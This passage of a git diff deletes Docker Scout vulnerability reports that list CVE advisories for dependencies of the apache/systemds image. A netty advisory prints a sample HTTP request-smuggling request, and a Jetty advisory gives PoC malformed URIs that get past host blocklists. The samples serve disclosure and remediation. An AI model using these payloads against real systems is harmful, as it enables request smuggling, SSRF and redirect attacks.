https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L316-L346 -> -> One is here, where the certificate is written to a temporary file. -> -> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L348-L371 -> -> The final one is here, where the 'AbstractDiskHttpData' creates a temporary file if the getBaseDirectory() method returns null. I believe that 'AbstractDiskHttpData' is used as a part of the file upload support? If this is the case, any files uploaded would be similarly vulnerable. -> -> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L91 -> -> All of these vulnerabilities exist because `File.createTempFile(String, String)` will create a temporary file in the system temporary directory if the 'java.io.tmpdir' system property is not explicitly set. It is my understanding that when java creates a file, by default, and using this method, the permissions on that file utilize the umask. In a majority of cases, this means that the file that java creates has the permissions: `-rw-r--r--`, thus, any other local user on that system can read the contents of that file. -> -> Impacted OS: -> - Any OS where the system temporary directory is shared between multiple users. This is not the case for MacOS or Windows. -> -> Mitigation. -> -> Moving to the `Files` API instead will fix this vulnerability. -> https://docs.oracle.com/javase/8/docs/api/java/nio/file/Files.html#createTempFile-java.nio.file.Path-java.lang.String-java.lang.String-java.nio.file.attribute.FileAttribute...- -> -> This API will explicitly set the posix file permissions to something safe, by default. -> -> I recently disclosed a similar vulnerability in JUnit 4: -> https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp -> -> If you're also curious, this vulnerability in Jetty was also mine, also involving temporary directories, but is not the same vulnerability as in this case. -> https://github.com/eclipse/jetty.project/security/advisories/GHSA-g3wg-6mcf-8jj6 -> -> I would appreciate it if we could perform disclosure of this vulnerability leveraging the GitHub security advisories feature here. GitHub has a nice credit system that I appreciate, plus the disclosures, as you can see from the sampling above, end up looking very nice. -> https://github.com/netty/netty/security/advisories -> -> This vulnerability disclosure follows Google's [90-day vulnerability disclosure policy](https://www.google.com/about/appsecurity/) (I'm not an employee of Google, I just like their policy). Full disclosure will occur either at the end of the 90-day deadline or whenever a patch is made widely available, whichever occurs first. -> -> Cheers, -> Jonathan Leitschuh - -
-
- -medium 5.9: CVE--2021--21409 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score3.244%
EPSS Percentile87th percentile
- -
Description -
- -### Impact -The content-length header is not correctly validated if the request only use a single Http2HeaderFrame with the endStream set to to true. This could lead to request smuggling if the request is proxied to a remote peer and translated to HTTP/1.1 - -This is a followup of https://github.com/netty/netty/security/advisories/GHSA-wm47-8v5p-wjpj which did miss to fix this one case. - -### Patches -This was fixed as part of 4.1.61.Final - -### Workarounds -Validation can be done by the user before proxy the request by validating the header. - -
-
- -medium 5.9: CVE--2021--21295 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score0.360%
EPSS Percentile58th percentile
- -
Description -
- -### Impact -If a Content-Length header is present in the original HTTP/2 request, the field is not validated by `Http2MultiplexHandler` as it is propagated up. This is fine as long as the request is not proxied through as HTTP/1.1. -If the request comes in as an HTTP/2 stream, gets converted into the HTTP/1.1 domain objects (`HttpRequest`, `HttpContent`, etc.) via `Http2StreamFrameToHttpObjectCodec `and then sent up to the child channel's pipeline and proxied through a remote peer as HTTP/1.1 this may result in request smuggling. - -In a proxy case, users may assume the content-length is validated somehow, which is not the case. If the request is forwarded to a backend channel that is a HTTP/1.1 connection, the Content-Length now has meaning and needs to be checked. - -An attacker can smuggle requests inside the body as it gets downgraded from HTTP/2 to HTTP/1.1. A sample attack request looks like: - -``` -POST / HTTP/2 -:authority:: externaldomain.com -Content-Length: 4 - -asdfGET /evilRedirect HTTP/1.1 -Host: internaldomain.com -``` - -Users are only affected if all of this is `true`: - * `HTTP2MultiplexCodec` or `Http2FrameCodec` is used - * `Http2StreamFrameToHttpObjectCodec` is used to convert to HTTP/1.1 objects - * These HTTP/1.1 objects are forwarded to another remote peer. - - -### Patches -This has been patched in 4.1.60.Final - -### Workarounds -The user can do the validation by themselves by implementing a custom `ChannelInboundHandler` that is put in the `ChannelPipeline` behind `Http2StreamFrameToHttpObjectCodec`. - -### References -Related change to workaround the problem: https://github.com/Netflix/zuul/pull/980 - -
-
- -medium : CVE--2019--20445 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
EPSS Score2.837%
EPSS Percentile86th percentile
- -
Description -
- -HttpObjectDecoder.java in Netty before 4.1.44 allows a Content-Length header to be accompanied by a second Content-Length header, or by a Transfer-Encoding header. - -
-
-
-
critical: 0 high: 4 medium: 2 low: 0 com.google.protobuf/protobuf-java 3.7.1 (maven) - -pkg:maven/com.google.protobuf/protobuf-java@3.7.1
-high 8.7: CVE--2024--7254 Improper Input Validation - - - - - - - - -
Affected range<3.25.5
Fixed version3.25.5
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.085%
EPSS Percentile25th percentile
- -
Description -
- -### Summary -When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash. - -Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team - -Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. - -### Severity -[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) -This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker. - -### Proof of Concept -For reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness. - -### Remediation and Mitigation -We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: -* protobuf-java (3.25.5, 4.27.5, 4.28.2) -* protobuf-javalite (3.25.5, 4.27.5, 4.28.2) -* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) -* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) -* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2) - -
-
- -high 7.5: CVE--2022--3510 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.073%
EPSS Percentile22nd percentile
- -
Description -
- -A parsing issue similar to CVE-2022-3171, but with Message-Type Extensions in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. - -
-
- -high 7.5: CVE--2022--3509 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile33rd percentile
- -
Description -
- -A parsing issue similar to CVE-2022-3171, but with textformat in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. - -
-
- -high 7.5: CVE--2021--22569 Incorrect Behavior Order - - - - - - - - -
Affected range<3.16.1
Fixed version3.16.1
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.291%
EPSS Percentile52nd percentile
- -
Description -
- -## Summary - -A potential Denial of Service issue in protobuf-java was discovered in the parsing procedure for binary data. - -Reporter: [OSS-Fuzz](https://github.com/google/oss-fuzz) - -Affected versions: All versions of Java Protobufs (including Kotlin and JRuby) prior to the versions listed below. Protobuf "javalite" users (typically Android) are not affected. - -## Severity - -[CVE-2021-22569](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22569) **High** - CVSS Score: 7.5, An implementation weakness in how unknown fields are parsed in Java. A small (~800 KB) malicious payload can occupy the parser for several minutes by creating large numbers of short-lived objects that cause frequent, repeated GC pauses. - -## Proof of Concept - -For reproduction details, please refer to the oss-fuzz issue that identifies the specific inputs that exercise this parsing weakness. - -## Remediation and Mitigation - -Please update to the latest available versions of the following packages: - -- protobuf-java (3.16.1, 3.18.2, 3.19.2) -- protobuf-kotlin (3.18.2, 3.19.2) -- google-protobuf [JRuby gem only] (3.19.2) - - -
-
- -medium 5.7: CVE--2022--3171 Improper Input Validation - - - - - - - - -
Affected range<3.16.3
Fixed version3.16.3
CVSS Score5.7
CVSS VectorCVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.083%
EPSS Percentile25th percentile
- -
Description -
- -## Summary -A potential Denial of Service issue in `protobuf-java` core and lite was discovered in the parsing procedure for binary and text format data. Input streams containing multiple instances of non-repeated [embedded messages](http://developers.google.com/protocol-buffers/docs/encoding#embedded) with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. - -Reporter: [OSS Fuzz](https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=48771) - -Affected versions: This issue affects both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. - -## Severity - -[CVE-2022-3171](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3171) Medium - CVSS Score: 5.7 (NOTE: there may be a delay in publication) - -## Remediation and Mitigation - -Please update to the latest available versions of the following packages: - -protobuf-java (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-javalite (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-kotlin (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-kotlin-lite (3.21.7, 3.20.3, 3.19.6, 3.16.3) -google-protobuf [JRuby gem only] (3.21.7, 3.20.3, 3.19.6) - - -
-
- -medium 5.5: CVE--2021--22570 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range<3.15.0
Fixed version3.15.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.150%
EPSS Percentile36th percentile
- -
Description -
- -Nullptr dereference when a null char is present in a proto symbol. The symbol is parsed incorrectly, leading to an unchecked call into the proto file's name during generation of the resulting error message. Since the symbol is incorrectly parsed, the file is nullptr. - -
-
-
-
critical: 0 high: 1 medium: 2 low: 0 openssl 3.3.3-r0 (apk) - -pkg:apk/alpine/openssl@3.3.3-r0?os_name=alpine&os_version=3.20
-high : CVE--2025--9230 - - - - - - -
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.029%
EPSS Percentile8th percentile
- -
Description -
- - - -
-
- -medium : CVE--2025--9231 - - - - - - -
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.016%
EPSS Percentile3rd percentile
- -
Description -
- - - -
-
- -medium : CVE--2025--9232 - - - - - - -
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.028%
EPSS Percentile7th percentile
- -
Description -
- - - -
-
-
-
critical: 0 high: 1 medium: 1 low: 0 org.eclipse.jetty/jetty-server 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-server@9.4.52.v20230823
-high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release - - - - - - - - -
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.073%
EPSS Percentile22nd percentile
- -
Description -
- -In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. - -
-
- -medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.487%
EPSS Percentile81st percentile
- -
Description -
- -### Impact -Remote DOS attack can cause out of memory - -### Description -There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which -can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By -repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the -server's memory. - -### Affected Versions - -* Jetty 12.0.0-12.0.8 (Supported) -* Jetty 11.0.0-11.0.23 (EOL) -* Jetty 10.0.0-10.0.23 (EOL) -* Jetty 9.3.12-9.4.55 (EOL) - -### Patched Versions - -* Jetty 12.0.9 -* Jetty 11.0.24 -* Jetty 10.0.24 -* Jetty 9.4.56 - -### Workarounds - -Do not use `ThreadLimitHandler`. -Consider use of `QoSHandler` instead to artificially limit resource utilization. - -### References - -Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 com.fasterxml.jackson.core/jackson-core 2.13.4 (maven) - -pkg:maven/com.fasterxml.jackson.core/jackson-core@2.13.4
-high 8.7: CVE--2025--52999 Stack-based Buffer Overflow - - - - - - - - -
Affected range<2.15.0
Fixed version2.15.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.027%
EPSS Percentile7th percentile
- -
Description -
- -### Impact -With older versions of jackson-core, if you parse an input file and it has deeply nested data, Jackson could end up throwing a StackoverflowError if the depth is particularly large. - -### Patches -jackson-core 2.15.0 contains a configurable limit for how deep Jackson will traverse in an input document, defaulting to an allowable depth of 1000. Change is in https://github.com/FasterXML/jackson-core/pull/943. jackson-core will throw a StreamConstraintsException if the limit is reached. -jackson-databind also benefits from this change because it uses jackson-core to parse JSON inputs. - -### Workarounds -Users should avoid parsing input files from untrusted sources. - -
-
-
-
critical: 0 high: 0 medium: 2 low: 1 com.google.guava/guava 14.0.1 (maven) - -pkg:maven/com.google.guava/guava@14.0.1
-medium 5.9: CVE--2018--10237 Deserialization of Untrusted Data - - - - - - - - -
Affected range>=11.0
<24.1.1-android
Fixed version24.1.1-android
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score3.259%
EPSS Percentile87th percentile
- -
Description -
- -Unbounded memory allocation in Google Guava 11.0 through 24.x before 24.1.1 allows remote attackers to conduct denial of service attacks against servers that depend on this library and deserialize attacker-provided data, because the AtomicDoubleArray class (when serialized with Java serialization) and the CompoundOrdering class (when serialized with GWT serialization) perform eager allocation without appropriate checks on what a client has sent and whether the data size is reasonable. - -
-
- -medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions - - - - - - - - -
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
- -
Description -
- -Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. - -Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. - -
-
- -low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding - - - - - - - - -
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
- -
Description -
- -A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 2 busybox 1.36.1-r29 (apk) - -pkg:apk/alpine/busybox@1.36.1-r29?os_name=alpine&os_version=3.20
-medium : CVE--2025--60876 - - - - - - -
Affected range<=1.36.1-r29
Fixed versionNot Fixed
EPSS Score0.052%
EPSS Percentile17th percentile
- -
Description -
- - - -
-
- -low : CVE--2025--46394 - - - - - - -
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.031%
EPSS Percentile8th percentile
- -
Description -
- - - -
-
- -low : CVE--2024--58251 - - - - - - -
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.024%
EPSS Percentile6th percentile
- -
Description -
- - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.apache.logging.log4j/log4j-core 2.22.1 (maven) - -pkg:maven/org.apache.logging.log4j/log4j-core@2.22.1
-medium 6.3: CVE--2025--68161 Improper Validation of Certificate with Host Mismatch - - - - - - - - -
Affected range>=2.0-beta9
<2.25.3
Fixed version2.25.3
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:L/SA:N
EPSS Score0.244%
EPSS Percentile47th percentile
- -
Description -
- -The Socket Appender in Apache Log4j Core versions 2.0-beta9 through 2.25.2 does not perform TLS hostname verification of the peer certificate, even when the [verifyHostName](https://logging.apache.org/log4j/2.x/manual/appenders/network.html#SslConfiguration-attr-verifyHostName) configuration attribute or the [log4j2.sslVerifyHostName](https://logging.apache.org/log4j/2.x/manual/systemproperties.html#log4j2.sslVerifyHostName) system property is set to true. - -This issue may allow a man-in-the-middle attacker to intercept or redirect log traffic under the following conditions: - - * The attacker is able to intercept or redirect network traffic between the client and the log receiver. - * The attacker can present a server certificate issued by a certification authority trusted by the Socket Appender’s configured trust store (or by the default Java trust store if no custom trust store is configured). - - -Users are advised to upgrade to Apache Log4j Core version 2.25.3, which addresses this issue. - -As an alternative mitigation, the Socket Appender may be configured to use a private or restricted trust root to limit the set of trusted certificates. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.apache.commons/commons-lang3 3.12.0 (maven) - -pkg:maven/org.apache.commons/commons-lang3@3.12.0
-medium 6.5: CVE--2025--48924 Uncontrolled Recursion - - - - - - - - -
Affected range>=3.0
<3.18.0
Fixed version3.18.0
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.016%
EPSS Percentile3rd percentile
- -
Description -
- -Uncontrolled Recursion vulnerability in Apache Commons Lang. - -This issue affects Apache Commons Lang: Starting with commons-lang:commons-lang 2.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before 3.18.0. - -The methods ClassUtils.getClass(...) can throw StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a StackOverflowError could cause an application to stop. - -Users are recommended to upgrade to version 3.18.0, which fixes the issue. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.apache.spark/spark-network-common_2.12 3.5.0 (maven) - -pkg:maven/org.apache.spark/spark-network-common_2.12@3.5.0
-medium 4.6: CVE--2025--55039 Inadequate Encryption Strength - - - - - - - - -
Affected range>=3.5.0
<3.5.2
Fixed version3.5.2
CVSS Score4.6
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U
EPSS Score0.058%
EPSS Percentile18th percentile
- -
Description -
- -This issue affects Apache Spark versions before 3.4.4, 3.5.2 and 4.0.0. - -Apache Spark versions before 4.0.0, 3.5.2 and 3.4.4 use an insecure default network encryption cipher for RPC communication between nodes. - -When spark.network.crypto.enabled is set to true (it is set to false by default), but spark.network.crypto.cipher is not explicitly configured, Spark defaults to AES in CTR mode (AES/CTR/NoPadding), which provides encryption without authentication. - -This vulnerability allows a man-in-the-middle attacker to modify encrypted RPC traffic undetected by flipping bits in ciphertext, potentially compromising heartbeat messages or application data and affecting the integrity of Spark workflows. - -To mitigate this issue, users should either configure spark.network.crypto.cipher to AES/GCM/NoPadding to enable authenticated encryption or enable SSL encryption by setting spark.ssl.enabled to true, which provides stronger transport security. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-servlets 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-servlets@9.4.52.v20230823
-medium 5.3: CVE--2024--9823 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=9.0.0
<9.4.54
Fixed version9.4.54
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.591%
EPSS Percentile69th percentile
- -
Description -
- -Description -There exists a security vulnerability in Jetty's DosFilter which can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack on the server using DosFilter. By repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the server's memory finally. - - -Vulnerability details -The Jetty DoSFilter (Denial of Service Filter) is a security filter designed to protect web applications against certain types of Denial of Service (DoS) attacks and other abusive behavior. It helps to mitigate excessive resource consumption by limiting the rate at which clients can make requests to the server. The DoSFilter monitors and tracks client request patterns, including request rates, and can take actions such as blocking or delaying requests from clients that exceed predefined thresholds. The internal tracking of requests in DoSFilter is the source of this OutOfMemory condition. - - -Impact -Users of the DoSFilter may be subject to DoS attacks that will ultimately exhaust the memory of the server if they have not configured session passivation or an aggressive session inactivation timeout. - - -Patches -The DoSFilter has been patched in all active releases to no longer support the session tracking mode, even if configured. - - -Patched releases: - - * 9.4.54 - * 10.0.18 - * 11.0.18 - * 12.0.3 - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 zlib 1.3.1-r1 (apk) - -pkg:apk/alpine/zlib@1.3.1-r1?os_name=alpine&os_version=3.20
-medium : CVE--2026--22184 - - - - - - -
Affected range<=1.3.1-r1
Fixed versionNot Fixed
EPSS Score0.038%
EPSS Percentile11th percentile
- -
Description -
- - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-http 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-http@9.4.52.v20230823
-medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input - - - - - - - - -
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
- -
Description -
- -## Summary - -Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. - -The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. - -## Details - -### Affected components - -The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. - -### Attack overview - -The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. - -### Attack scenario - -A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. - -This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. - -## PoC - -payloads: - -``` -http://browser.check &@vulndetector.com/ -http://browser.check #@vulndetector.com/ -http://browser.check?@vulndetector.com/ -http://browser.check#@vulndetector.com/ -http://vulndetector.com\\/ -``` - -The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". - -``` - -``` -A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). - -| Invalid URI | Jetty | Chrome | -| ---------------------------------------------- | ---------------- | ------------- | -| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | - -The problem of 302 redirect parsing in HTTP 302 Location - -| Input | Jetty | Chrome | -| ------------------------ | -------------- | ------------- | -| http://browser.check%5c/ | browser.check\ | browser.check | - -It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. - -## Impact - -The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. - -## Mitigation - -The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. -The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). - -Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). - -## Reference - -[1] https://cwe.mitre.org/data/definitions/918.html -[2] https://cwe.mitre.org/data/definitions/601.html - -
-
-
-
critical: 0 high: 0 medium: 0 low: 1 org.apache.hadoop/hadoop-common 3.3.6 (maven) - -pkg:maven/org.apache.hadoop/hadoop-common@3.3.6
-low 2.0: CVE--2024--23454 Improper Privilege Management - - - - - - - - -
Affected range<3.4.0
Fixed version3.4.0
CVSS Score2
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
EPSS Score0.038%
EPSS Percentile11th percentile
- -
Description -
- -Apache Hadoop’s `RunJar.run()` does not set permissions for temporary directory by default. If sensitive data will be present in this file, all the other local users may be able to view the content. This is because, on unix-like systems, the system temporary directory is shared between all local users. As such, files written in this directory, without setting the correct posix permissions explicitly, may be viewable by all other local users. - -
-
-
-
critical: 0 high: 0 medium: 0 low: 0 unspecified: 1lz4 1.9.4-r5 (apk) - -pkg:apk/alpine/lz4@1.9.4-r5?os_name=alpine&os_version=3.20
-unspecified : CVE--2025--62813 - - - - - - -
Affected range<=1.9.4-r5
Fixed versionNot Fixed
EPSS Score0.018%
EPSS Percentile3rd percentile
- -
Description -
- - - -
-
-
- diff --git a/docker/scout_results/medium-cves/sysds_output13.md b/docker/scout_results/medium-cves/sysds_output13.md deleted file mode 100644 index ef22868ff09..00000000000 --- a/docker/scout_results/medium-cves/sysds_output13.md +++ /dev/null @@ -1,1080 +0,0 @@ - i New version 1.19.0 available (installed version is 1.18.3) at https://github.com/docker/scout-cli - ✓ Image stored for indexing - ✓ Indexed 357 packages - ✓ Provenance obtained from attestation - ✗ Detected 14 vulnerable packages with a total of 33 vulnerabilities - ✓ Report written to docker/scout_results/medium-cves/sysds_output13.md -

:mag: Vulnerabilities of apache/systemds:latest

- -
:package: Image Reference apache/systemds:latest - - - - - -
digestsha256:fb15e25f5b4fbc1ebc60f0dc798ef9a180d3f7406fe9f6677e1b920468c74f93
vulnerabilitiescritical: 1 high: 9 medium: 18 low: 4 unspecified: 1
platformlinux/amd64
size370 MB
packages357
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
critical: 1 high: 2 medium: 5 low: 0 io.netty/netty 3.10.6.Final (maven) - -pkg:maven/io.netty/netty@3.10.6.Final
